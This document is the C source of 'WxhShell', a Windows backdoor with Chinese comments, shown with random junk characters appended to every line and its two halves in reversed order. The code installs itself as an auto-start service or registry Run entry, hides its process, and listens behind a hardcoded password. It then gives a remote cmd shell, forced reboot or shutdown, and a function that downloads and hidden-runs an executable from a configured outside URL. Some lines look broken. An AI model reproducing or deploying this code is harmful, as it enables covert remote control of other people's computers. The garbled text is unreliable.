    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HW72 6K*  
    if(Boot(SHUTDOWN)) dA/o4co  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |vz;bJG  
    else { zDyeAxh4  
    closesocket(wsh); "ru1;I  
    ExitThread(0); (N|xDl &;  
    } &o@5%Rz2/  
    break; k+$4?/A  
    } 8 -;ZPhN&  
  // 获取shell 3gy;$}Lq T  
  case 's': { NRSse"  
    CmdShell(wsh); QV$dKjMS  
    closesocket(wsh); Vor9 ?F&w  
    ExitThread(0); IGT_ 5te  
    break; :QV6 z*#zD  
  } uk  f\*  
  // 退出 ~^~RltY  
  case 'x': { tq[",&K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~@b}=+n  
    CloseIt(wsh); \C#b@xLnX  
    break; ddDJXk)!0  
    } Y&f[2+?2NK  
  // 离开 3b@1Zahz  
  case 'q': { $S8bp3)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OIty ]c  
    closesocket(wsh); L"7` \4  
    WSACleanup(); a=.db&;vY  
    exit(1); l0\>zWLZZ9  
    break; I%>]!X  
        } ?{,)XFck  
  } 14 'x-w^~k  
  } up3<=u{>  
ysJhP .  
  // 提示信息 C$G88hesn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q EGanpz  
} ({ kGK0  
  } S aet";pf`  
h$ iyclX  
  return; jQeE07g  
} zMzf=~  
b%f2"e0g  
// shell模块句柄 1=5'R/k  
int CmdShell(SOCKET sock) ((>3,%B`  
{ vKf;&`^qE  
STARTUPINFO si; GnrW {o  
ZeroMemory(&si,sizeof(si)); zw0 r i6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }_:#fE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =tRe3o0(  
PROCESS_INFORMATION ProcessInfo; -sH.yAvC6  
char cmdline[]="cmd"; k,iV$,[TF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Ox*T:5  
  return 0; -_*XhD  
} S%s|P=u  
k=~pA iRDN  
// 自身启动模式 >wk=`&+V@  
int StartFromService(void) b;`#Sea  
{ VE"0 VB.  
typedef struct &R FM d=  
{ oy2dA  
  DWORD ExitStatus; K<  
  DWORD PebBaseAddress; _B7?C:8Q-  
  DWORD AffinityMask; YSz$` 7i  
  DWORD BasePriority; ?CW^*So  
  ULONG UniqueProcessId; P}WhE  
  ULONG InheritedFromUniqueProcessId; X`v79`g_  
}   PROCESS_BASIC_INFORMATION; FlA\Ad;v  
l)PFzIz=V  
PROCNTQSIP NtQueryInformationProcess; vua1iN1  
[(P[qEY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <\9Ijuq}k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \ NSw<.  
~v(M6dz~vk  
  HANDLE             hProcess; 3g#=sd!0O@  
  PROCESS_BASIC_INFORMATION pbi; M3;v3 }z<-  
? ]:EmP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g yH7((#i  
  if(NULL == hInst ) return 0; 9k+&fyy  
(T#(A4:6S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vl{_M*w ;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m57tO X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Zeg\}/4[  
zmfRZ!Eh  
  if (!NtQueryInformationProcess) return 0; %)hIpxOrX  
)>X|o$2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . I&)MZ>n  
  if(!hProcess) return 0; &~JfDe9IS  
g*r{!:,t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %f> |fs  
[cL U*:  
  CloseHandle(hProcess); =.f +}y  
>5~Zr$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 73s3-DS,  
if(hProcess==NULL) return 0; >[%.h(h/%  
pGbFg&  
HMODULE hMod; ;'Vipj   
char procName[255]; 6=g]Y!o$  
unsigned long cbNeeded; X6N]gD  
d,J<SG&L&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kq}eUY]  
fF9oYOh|  
  CloseHandle(hProcess); ^I0GZG  
bHQKRV  
if(strstr(procName,"services")) return 1; // 以服务启动 )<x;ra^  
X?v ^>mA  
  return 0; // 注册表启动 N4` 9TN7  
} &(uF&-PwO4  
o )nT   
// 主模块 At[n<8_|  
int StartWxhshell(LPSTR lpCmdLine) mp+\!  
{ ?Str*XA;  
  SOCKET wsl; LnI{S{]wDh  
BOOL val=TRUE; ~q]|pD"\K|  
  int port=0; :a f;yu  
  struct sockaddr_in door; Q1ABnacR  
}2BH_  2  
  if(wscfg.ws_autoins) Install(); [>M*_1F  
[,o5QH\Etq  
port=atoi(lpCmdLine); mb~=Xyk&  
z^a!C#IX  
if(port<=0) port=wscfg.ws_port; ),y!<\oQ  
rm)SfT<  
  WSADATA data; !8"$d_=h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JX\T {\m#  
 10l1a4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QC\g%MVG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rPo\Dz  
  door.sin_family = AF_INET; {7Gx9(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )(?UA$"  
  door.sin_port = htons(port); }KaCf,O  
{Z?$Co^R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X4P}aC  
closesocket(wsl); UU;-q_H6  
return 1; iQm.]A  
} B=Zukg1G  
j_6`s!Yw  
  if(listen(wsl,2) == INVALID_SOCKET) { LE0J ;|1  
closesocket(wsl); k qY3r &  
return 1; 7k`*u) Q  
} u .pKK  
  Wxhshell(wsl); AK~`pq[.  
  WSACleanup(); SP D207  
K5)yM @cq  
return 0; .cH{WZ  
kuTq8p2E  
} GEe 0@q#YA  
m_E[bDON  
// 以NT服务方式启动 ,3J`ftCV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R!_8jD:$  
{ 0x>/6 <<  
DWORD   status = 0; L&DF,fWsF&  
  DWORD   specificError = 0xfffffff; G1?0Q_RN  
I4o =6ts  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,>QMyI hv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N)vk0IM!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }o!#_N0T  
  serviceStatus.dwWin32ExitCode     = 0; Xew1LPI  
  serviceStatus.dwServiceSpecificExitCode = 0; StdS$XW  
  serviceStatus.dwCheckPoint       = 0; XYK1-m}2  
  serviceStatus.dwWaitHint       = 0; kY'<u  
{ /F rs*AF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Txv -lfS  
  if (hServiceStatusHandle==0) return; dK J@{d  
t> x-1vf%  
status = GetLastError(); =$)4:  
  if (status!=NO_ERROR) !Ig|m+  
{ ##EB; Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v ]/OAH6D  
    serviceStatus.dwCheckPoint       = 0; nL":0!DTRD  
    serviceStatus.dwWaitHint       = 0; ]< s\V-y  
    serviceStatus.dwWin32ExitCode     = status; R%Ui6dCLo  
    serviceStatus.dwServiceSpecificExitCode = specificError; `FzYvd"N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ifK~?  
    return; n2xLgK=  
  } Ss#@=:"P  
68koQgI[^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ( K6~Tj  
  serviceStatus.dwCheckPoint       = 0; `x{.z=xC  
  serviceStatus.dwWaitHint       = 0; Sc4obcw%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s FQ4O- SM  
} tT@w%Sz57N  
MG7 ?N #  
// 处理NT服务事件,比如:启动、停止 ~|y^\U@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }pl]9  
{ T}L^CU0  
switch(fdwControl) Ci7P%]9  
{ 5|<yfk8*J  
case SERVICE_CONTROL_STOP: eK Z@ FEZ  
  serviceStatus.dwWin32ExitCode = 0; C%}]"0Q1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &dhcKO<4  
  serviceStatus.dwCheckPoint   = 0; %Y cxC0S[  
  serviceStatus.dwWaitHint     = 0; Snc; p  
  { 9 3W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .N~PHyXZR  
  } .>mH]/]m  
  return; ]>R`;"(  
case SERVICE_CONTROL_PAUSE: AW,v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V;h=8C5J  
  break; e/"yGQu  
case SERVICE_CONTROL_CONTINUE: X q}Ucpj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mF[o*N*  
  break; lZ|L2Yg3uB  
case SERVICE_CONTROL_INTERROGATE: ||-nmOy  
  break; Vs#"SpH{'  
}; 8 uDerJ!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jd%Len&p  
} n S_Ta  
@~m=5C  
// 标准应用程序主函数 GVmC }>z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0bMoUy*q  
{ fD1?z"lo  
;y>S7n>n:  
// 获取操作系统版本 o"rq/\ovv  
OsIsNt=GetOsVer(); Ds%9cp*6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Cjz29|gp  
"w}-?:# j  
  // 从命令行安装 X+=-f^)&  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nls83 W  
E,{GU  
  // 下载执行文件 {>8Pl2J  
if(wscfg.ws_downexe) { )y9;OA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y/. AUN Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); &+mV7o  
} V ]79vC  
aWyUu/g<A`  
if(!OsIsNt) {  !M  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ye9Y^+-  
HideProc(); x(L(l=^"  
StartWxhshell(lpCmdLine); , N53Iic  
} &4,WG  
else |u@+`4o  
  if(StartFromService()) OF c\fW#  
  // 以服务方式启动 ojHhT\M`  
  StartServiceCtrlDispatcher(DispatchTable); !Y ( apVQ  
else t#C,VwMe[  
  // 普通方式启动 >\V6+$cNp  
  StartWxhshell(lpCmdLine); ]UDd :2yt  
q[7CPE0n  
return 0; 9<yAQ?7 L  
} \+-zRR0  
+'%@!  
bS>R5*Zp  
HF"Eys  
=========================================== ~12_D'8D[  
"`pNH'   
S]}}A  
n.*3,4.]  
\tY"BC4.  
i+g~ Uj}h  
" ,V,f2W 4  
=I2@/,  
#include <stdio.h> nqT>qS[Z  
#include <string.h> ;HDZ+B  
#include <windows.h> z~,mRgc$B  
#include <winsock2.h> |6aJwe+*  
#include <winsvc.h> tQWWgLM  
#include <urlmon.h> oL]mjo=jN  
Yu'a<5f  
#pragma comment (lib, "Ws2_32.lib") L>dkrr)e  
#pragma comment (lib, "urlmon.lib") 74+A+SK[  
( S`6Q  
#define MAX_USER   100 // 最大客户端连接数 ?WQNIX4  
#define BUF_SOCK   200 // sock buffer $B\ H  
#define KEY_BUFF   255 // 输入 buffer I,b9t\(6  
?v:ZU~i  
#define REBOOT     0   // 重启 IV'p~t  
#define SHUTDOWN   1   // 关机 c!It ^*  
YTK^ijmU6x  
#define DEF_PORT   5000 // 监听端口 qj&b o  
.2 0V 3  
#define REG_LEN     16   // 注册表键长度 &)n_]R#)  
#define SVC_LEN     80   // NT服务名长度 \R(R9cry  
w/W7N   
// 从dll定义API 8nCp\0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )0^ >#k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i31<].|kA*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `H>b5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t2- ^-g6  
 FZ F @  
// wxhshell配置信息 Oe51PEqn  
struct WSCFG { RT^v:paNT2  
  int ws_port;         // 监听端口 ^"9* 'vTtc  
  char ws_passstr[REG_LEN]; // 口令 !;S"&mcPDJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no .[?BlIlm  
  char ws_regname[REG_LEN]; // 注册表键名 R_^/,^1  
  char ws_svcname[REG_LEN]; // 服务名 qz!Ph5 (  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]dSK wxk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p~&BChBl!=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SRZL\m}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5u r)uz]w8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UZGDdP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }g|nz8  
5{d\u E%'p  
}; %d1draL  
LH2PTW\b!6  
// default Wxhshell configuration }u%"$[I}  
struct WSCFG wscfg={DEF_PORT, |S&5es-yW  
    "xuhuanlingzhe", KB!5u9  
    1, i0:>Nk  
    "Wxhshell", :]PM_V|  
    "Wxhshell", Dw_D+7>(v  
            "WxhShell Service", Iy';x  
    "Wrsky Windows CmdShell Service", ]5' d&f  
    "Please Input Your Password: ", ye%iDdf  
  1, _OMpIdY,R*  
  "http://www.wrsky.com/wxhshell.exe", TW7:q83{l  
  "Wxhshell.exe"  z [C3  
    }; 1D F/6y  
>xqM5#m`E$  
// 消息定义模块 n_Onr0EvO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c0_E_~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V5mlJml2(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e$e#NoN  
char *msg_ws_ext="\n\rExit."; ";x+1R.d  
char *msg_ws_end="\n\rQuit."; ['q&@_d7  
char *msg_ws_boot="\n\rReboot..."; c3)C{9T](  
char *msg_ws_poff="\n\rShutdown..."; e)H!uR  
char *msg_ws_down="\n\rSave to "; -)jax  
h5"Ov,K3[  
char *msg_ws_err="\n\rErr!"; ibpzeuUl  
char *msg_ws_ok="\n\rOK!"; Pf <[|yu4?  
oH#v6{y  
char ExeFile[MAX_PATH]; geM6G$V&  
int nUser = 0; RO&H5m r%@  
HANDLE handles[MAX_USER]; ^ B/9{0n'  
int OsIsNt; 3QXjD/h  
N@xg:xr  
SERVICE_STATUS       serviceStatus; -.IEgggf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6/Fzco#N  
R"AUSO|{  
// 函数声明 1u|V`J)0  
int Install(void); t *G/]  
int Uninstall(void); ka"337H  
int DownloadFile(char *sURL, SOCKET wsh); . ]@=es  
int Boot(int flag); 2HD]?:Fk7  
void HideProc(void); WG7k(Sp ]  
int GetOsVer(void); nV*y`.+  
int Wxhshell(SOCKET wsl); +nL+ N  
void TalkWithClient(void *cs); D)@XoM(  
int CmdShell(SOCKET sock);  k5`OH8G  
int StartFromService(void); j(rL  
int StartWxhshell(LPSTR lpCmdLine); &fOdlQ?  
)IL #>2n?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0d^Z uTN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ObG|o1b  
(`BSVxJH  
// 数据结构和表定义 Q`%R[#  
SERVICE_TABLE_ENTRY DispatchTable[] = T?Fcohz(  
{ g(C|!}ex/  
{wscfg.ws_svcname, NTServiceMain}, |X19fgk  
{NULL, NULL} k]A8% z  
}; (u3s"I d  
"2?l{4T\  
// 自我安装 23!;}zHp  
int Install(void) j;1-p>z  
{ hm*cw[#O1x  
  char svExeFile[MAX_PATH]; 1oLv.L  
  HKEY key; D*PYr{z'  
  strcpy(svExeFile,ExeFile); d XHB#  
.7NNT18  
// 如果是win9x系统,修改注册表设为自启动 o Y}]UB>  
if(!OsIsNt) { !7bw5H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~EzaC?fQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G oM ip8'u  
  RegCloseKey(key); !y:%0{l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @|}BXQNd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |RkcDrB~  
  RegCloseKey(key); Q/ms]Du  
  return 0; N6OMY P1  
    } i_R e*  
  } /u%h8!"R  
} &MZ$j46  
else { nlYR-.  
+!IQj0&'Y3  
// 如果是NT以上系统,安装为系统服务 M:KbD|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g7V8D  
if (schSCManager!=0) )d\ j I  
{ (>4aibA'P  
  SC_HANDLE schService = CreateService Ys+OB*8AE  
  ( uMb> xxf  
  schSCManager, WEg6Kz  
  wscfg.ws_svcname, PNOGN|D  
  wscfg.ws_svcdisp, "\W-f  
  SERVICE_ALL_ACCESS, =J-5.0Q\_\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kum#^^4G|  
  SERVICE_AUTO_START, ~GTz:nC*  
  SERVICE_ERROR_NORMAL, ^[]}R:  
  svExeFile, [P Q?#:r  
  NULL, 7s"< 'cx_F  
  NULL, VS9`{  
  NULL, 3BB%Z 6F  
  NULL, D!.[q-<  
  NULL ()K " c#  
  ); dlJbI}-v=  
  if (schService!=0) )_mr! z(S  
  { 2rmSo&3@s  
  CloseServiceHandle(schService); T _sTC)&a  
  CloseServiceHandle(schSCManager); :/:.Kb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8aO~/i:(.  
  strcat(svExeFile,wscfg.ws_svcname); ^\\Tx*#i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =:DaS`~V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  -QOw8vm  
  RegCloseKey(key); {LX.iH9}l  
  return 0; VUVaaOmO  
    } Ynp{u`?  
  } ,oaw0Vw  
  CloseServiceHandle(schSCManager); z74in8]  
} ~vXaqCX  
} .uyGYj-C  
gN24M3{C  
return 1; '3TW [!m  
} f@8>HCI  
Vl_:c75"  
// 自我卸载 }@Ge}9$ h  
int Uninstall(void) 'a$Gv&fu  
{ hGd<<\  
  HKEY key; @) s,{F  
F;=4vS]\  
if(!OsIsNt) { "`M?R;DH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >tO`r.5u9  
  RegDeleteValue(key,wscfg.ws_regname); nA P.^_K  
  RegCloseKey(key); L,mQ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Ard 7UT  
  RegDeleteValue(key,wscfg.ws_regname); hF@Gn/  
  RegCloseKey(key); pX&pLaF  
  return 0; LEW'G"+  
  } BZud) l24  
} Y2d;E.DH8  
} .q[SI$qO/  
else { \2ZPj)&-E  
%CS@g.H=_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f 1w~!O9  
if (schSCManager!=0)  emK$`9  
{ 9Xl`pEhC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y]J89  
  if (schService!=0) WcHgBbNe  
  { eFpTW&9n  
  if(DeleteService(schService)!=0) { [%9no B  
  CloseServiceHandle(schService); MF~H"D n  
  CloseServiceHandle(schSCManager); (q{Ck#+  
  return 0; LbaK={tR  
  } ogL EtqT  
  CloseServiceHandle(schService); cU{e`<xjA  
  } 7<%<Ff@^)O  
  CloseServiceHandle(schSCManager); -8r  
} ~><^'j[  
} Row)hx8  
S+'rG+NJ  
return 1; Hir Fl  
} D8>enum  
 EI_  
// 从指定url下载文件 ,z;ky5Ct  
int DownloadFile(char *sURL, SOCKET wsh) .k 3 '  
{ 1Ab>4UhD  
  HRESULT hr; C8 vOE`U,J  
char seps[]= "/"; ^ <Pq,u%k  
char *token; YnxRg  
char *file; n| b5? 3  
char myURL[MAX_PATH]; ,y+$cM(  
char myFILE[MAX_PATH]; 4m*M,#mV  
GN!qyT  
strcpy(myURL,sURL); F)+{AQL  
  token=strtok(myURL,seps); d}JP!xf%  
  while(token!=NULL) %]I ZLJ  
  { &^}6 9  
    file=token; |1ST=O7.LH  
  token=strtok(NULL,seps); +)j1.X  
  } wjh=Q  
_)]+hUw Y  
GetCurrentDirectory(MAX_PATH,myFILE); N\HQN0d9  
strcat(myFILE, "\\"); td4[[ /  
strcat(myFILE, file); abJ" [  
  send(wsh,myFILE,strlen(myFILE),0); AJSx%?h:6  
send(wsh,"...",3,0); Qb)C[5a}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HsnLm67'  
  if(hr==S_OK) br0++}vwL  
return 0; 7\f\!e <  
else Ee@4 %/v  
return 1; zN{K5<7o  
\0mb 3Q'  
} ~v'3"k6  
' v\L @"  
// 系统电源模块 7zHh@ B:]  
int Boot(int flag) jCrpL~tWT  
{ H|ER  
  HANDLE hToken; srYJp^sC  
  TOKEN_PRIVILEGES tkp; ^bc;[x&N  
c%[#~;E  
  if(OsIsNt) { KN?6;G{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ;zYqsS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a)S+8uU  
    tkp.PrivilegeCount = 1; ]~6_WE8L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $Bj;D=d@V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -s|}Rh?Y  
if(flag==REBOOT) {  qNm$Fx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -jn WZ5.  
  return 0; Q>R>R*1.j  
} F29v a  
else { E@-KGsdhK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %e`$p=m  
  return 0; 5Q 'i2*j  
} zfwS  
  } &BtK($  
  else { N.4q.  
if(flag==REBOOT) { CBDG./  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {5d9$v7k4  
  return 0; Xe#K{gA  
} (`6T&>(4  
else { 9elga"4:'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OKi\zS  
  return 0; vTaJqEE  
} $b<6y/"  
} =xsTDjH>  
ovwQ2TuK  
return 1; GEEW?8  
} uA$<\fnz  
m85WA # `  
// win9x进程隐藏模块 ?x+Z)`w_  
void HideProc(void) O/.Uh`T`6  
{ *dvDap|8W  
8a_[B~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v3GwD0 0  
  if ( hKernel != NULL ) M @3"<[g  
  { @ JvPx0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @h*fFiY&{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HLBkR>e  
    FreeLibrary(hKernel); ?%VI{[y#>  
  } Ov#=]t5  
I+!:K|^  
return; ?H_ LX;r  
} [! 'op0  
#U*_1P0h  
// 获取操作系统版本 `Pw*_2  
int GetOsVer(void) `60gFVu  
{ 4;HJ;0-ps  
  OSVERSIONINFO winfo; MwfOy@|N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y$3;$ R^  
  GetVersionEx(&winfo); $5v0m#[^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dJv!Dts')C  
  return 1; 'S2bp4G  
  else K"u NxZ  
  return 0; ->h6j  
} ? tfT8$  
cgb2K$B_"  
// 客户端句柄模块 i 9g>9  
int Wxhshell(SOCKET wsl) _;4 [Q1  
{ 341?0 %=  
  SOCKET wsh; <xJ/y|{  
  struct sockaddr_in client; #wc \T  
  DWORD myID; ^ FZ^6*  
w'X]M#Q><  
  while(nUser<MAX_USER) oo=#XZkk  
{ *_ +7ni  
  int nSize=sizeof(client); Gn)y> AN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "lNzGi-H  
  if(wsh==INVALID_SOCKET) return 1; ]I/Vbs  
QQe;1O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pG^}Xf2a  
if(handles[nUser]==0) >K# ,cxY  
  closesocket(wsh); =`Y.=RL+'n  
else .D4bqL  
  nUser++; >xA),^ YT  
  } W$qd/'%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DFO7uw1  
]APvp.Tw:  
  return 0; ^v9|%^ug  
} YpUp@/"  
"4H8A =  
// 关闭 socket $|$e%   
void CloseIt(SOCKET wsh) g(O;{Q_  
{ ;WT{|z  
closesocket(wsh); m,')&{Rd  
nUser--; 24Z]%+b*E  
ExitThread(0); Y${l!+q  
} O[9-:,B{w  
}j1!j&&  
// 客户端请求句柄 5]1leT  
void TalkWithClient(void *cs) ecOy6@UDY  
{ d7cg&9+  
.+y>8h3{  
  SOCKET wsh=(SOCKET)cs; Wk^RA_  
  char pwd[SVC_LEN]; mL~z~w*s  
  char cmd[KEY_BUFF]; m-T~fJ  
char chr[1]; M,3wmW&d6  
int i,j; FFEfp.T1M  
hNXBVIL<&  
  while (nUser < MAX_USER) { W9t"aZor  
BIf^~jAER%  
if(wscfg.ws_passstr) { ?zq+jLyo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PN$ .X"D8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m}$+Hdk+7  
  //ZeroMemory(pwd,KEY_BUFF); BpO9As 1um  
      i=0; Fv?=Z-wk  
  while(i<SVC_LEN) { j%<}jw[2  
6AN)vs}  
  // 设置超时 # x>ga  
  fd_set FdRead; Rq~t4sA:  
  struct timeval TimeOut; xx*2?i  
  FD_ZERO(&FdRead); &X`u9 V  
  FD_SET(wsh,&FdRead); `ya;:$(6  
  TimeOut.tv_sec=8; 6@tvRDeaDW  
  TimeOut.tv_usec=0; Ni*Wz*o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); . BO<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RA a[t :|  
Bn]K+h\E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7:h!Wj -a]  
  pwd=chr[0]; ,J mbqOV?!  
  if(chr[0]==0xd || chr[0]==0xa) { `-B+JQmen  
  pwd=0; '?o9VrO  
  break; iy\KzoB  
  }  17hTr  
  i++; d~ng6pA  
    } nY `2uN~9  
g"Q h]:  
  // 如果是非法用户,关闭 socket 5;)*T6Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %'L;FPxB  
} AF4?IH  
=A[5= k>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tPHS98y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1'6cGpZY  
+c206.  
while(1) { o%M<-l"!/  
Bk|K%K  
  ZeroMemory(cmd,KEY_BUFF); Nq8@Nyp  
>s*DrfX6  
      // 自动支持客户端 telnet标准   < /p 8r  
  j=0; ++[5q+b  
  while(j<KEY_BUFF) { d]0a%Xh[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W( *V2<$o  
  cmd[j]=chr[0]; Em13dem  
  if(chr[0]==0xa || chr[0]==0xd) { N~=A  
  cmd[j]=0; myQ&%M gx  
  break; IGj`_a  
  } U[_8WJ7+  
  j++; (UEXxUdQ_Q  
    } $%c{06Oq(  
,<ya@Fi{  
  // 下载文件 h. hjz?  
  if(strstr(cmd,"http://")) { H D/5!d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8{&["?  
  if(DownloadFile(cmd,wsh)) Sn3:x5H,l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^9"KTZc-*  
  else E\)eu1Hw4B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7CvD'QW /  
  } c^I0y!  
  else { ?Z %:  
p5 ]_}I`+2  
    switch(cmd[0]) { BQgoVnQo_c  
  oJ;rc{n-  
